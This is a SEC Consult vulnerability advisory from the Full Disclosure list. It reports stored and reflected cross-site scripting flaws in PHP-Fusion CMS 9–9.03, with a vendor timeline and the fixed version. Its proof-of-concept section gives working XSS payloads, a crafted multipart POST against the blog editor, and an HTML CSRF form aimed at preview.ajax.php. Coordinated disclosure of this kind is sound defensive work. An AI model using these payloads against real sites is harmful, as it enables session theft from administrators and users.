Date: Tue, 25 Feb 2020 17:13:06 +0100
From: SEC Consult Vulnerability Lab <research@...-consult.com>
To: <fulldisclosure@...lists.org>, <bugtraq@...urityfocus.com>
Subject: [FD] SEC Consult SA-20200225-0 :: Multiple Cross-site Scripting
 (XSS) Vulnerabilities in PHP-Fusion CMS

SEC Consult Vulnerability Lab Security Advisory < 20200225-0 >
=======================================================================
              title: Multiple Cross-site Scripting (XSS) Vulnerabilities
            product: PHP-Fusion CMS
 vulnerable version: 9 - 9.03
      fixed version: 9.03.30
         CVE number: -
             impact: Medium
           homepage: https://www.php-fusion.co.uk
              found: 2019-12-09
                 by: M. Ali (Office Malaysia)
                     N. Ramadhan (Office Malaysia)
                     W. Ikram (Office Malaysia)
                     R. Jaafar (Office Malaysia)
                     S. Maskan (Office Malaysia)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"PHP-Fusion is a lightweight open source content management system (CMS) written
in PHP."

Source: https://github.com/php-fusion


Business recommendation:
------------------------
Update to the latest version of PHP-Fusion. An in-depth security
analysis performed by security professionals is highly advised, as the
software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Stored XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker (user with edit post
capability) to inject malicious client side scripting code which will be
executed in the browser of a user with "Error Log" access privilege (usually
administrator or super administrator).


2. Reflected XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker to inject malicious
client side scripting code which will be executed in the browser of users.


Proof of concept:
-----------------
1. Stored XSS vulnerability
a) Edit Blog Post Function
This vulnerability can be exploited by an attacker with "edit post" capability.
By editing a blog post, malicious script code can be injected through the
affected parameters (defined below). When saving the changes made, the
application will store the XSS payload in the database as an error (table
<dbtableprefix>_errors). Then, the application will load all the errors to
notify the administrator in the "Error Log" notification module. The XSS payload
will get executed on any page since it was the application behavior loading all
the errors on any page as long as the affected user's session is active.


Below is the example on how the XSS issue can be exploited.

URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=<id#>
METHOD : POST
PAYLOAD: '><script>alert(document.cookie)</script>
PARAMETER: blog_image, blog_image_t1, blog_image_t2

Content-Type: multipart/form-data; boundary=---------------------------247592002319215
Content-Length: 3051
Origin: http://$DOMAIN
Connection: close
Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=2
Cookie: [snip]

[snip]
-----------------------------247592002319215
Content-Disposition: form-data; name="blog_image"
pp.jpg'><script>alert(document.cookie)</script>
[snip]


2. Reflected XSS vulnerability
a) Preview Function
This vulnerability can be exploited by an unauthenticated attacker.
The XSS payload is injected in the preview.ajax.php script through the parameter "text".
Below is the example on how the XSS issue can be exploited through CSRF.

URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php
METHOD : POST
PAYLOAD: <script>alert(document.cookie)</script>

Create a HTML file with content as below and open it with browser.

<html>
  <body>
    <form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST">
      <input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" />
      <input type="hidden" name="editor" value="html" />
      <input type="hidden" name="url" value="/infusion/xxyyzz.php" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



Vulnerable / tested versions:
-----------------------------
PHP-Fusion version 9.03.00 has been tested, which was the latest version
available at the time of the test.


Vendor contact timeline:
------------------------
2019-12-10: Contacting vendor by email
            technical@...-fusion.co.uk, sales@...-fusion.co.uk
            billing@...-fusion.co.uk, management@...-fusion.co.uk
2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp and ask to
            send the detail unencrypted to his email chan@...-fusion.co.uk
            Email sent to the lead developer on the same day.
2020-01-23: Vendor fixed the reported issues, but it can be bypassed. SEC Consult
            informed the Lead Developer via Whatsapp. The lead developer
            requests extension (3 weeks). Latest possible release date
            changed to 24th Feb 2020.
2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored
            XSS) remains unfixed.
2020-02-04: Vendor informed fixed version available on github page.
2020-02-11: Vendor requested two weeks to inform their users to update their
            websites. Latest possible release date changed to 25th Feb 2020.
2020-02-11: Requesting CVE ID, only automatic reply with request ID
2020-02-21: Asking for CVE ID again, no reply
2020-02-25: Public release of security advisory


Solution:
---------
The fixed version 9.03.30 is available at the vendor's download section:
* https://www.php-fusion.co.uk/php_fusion_9_downloads.php


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020


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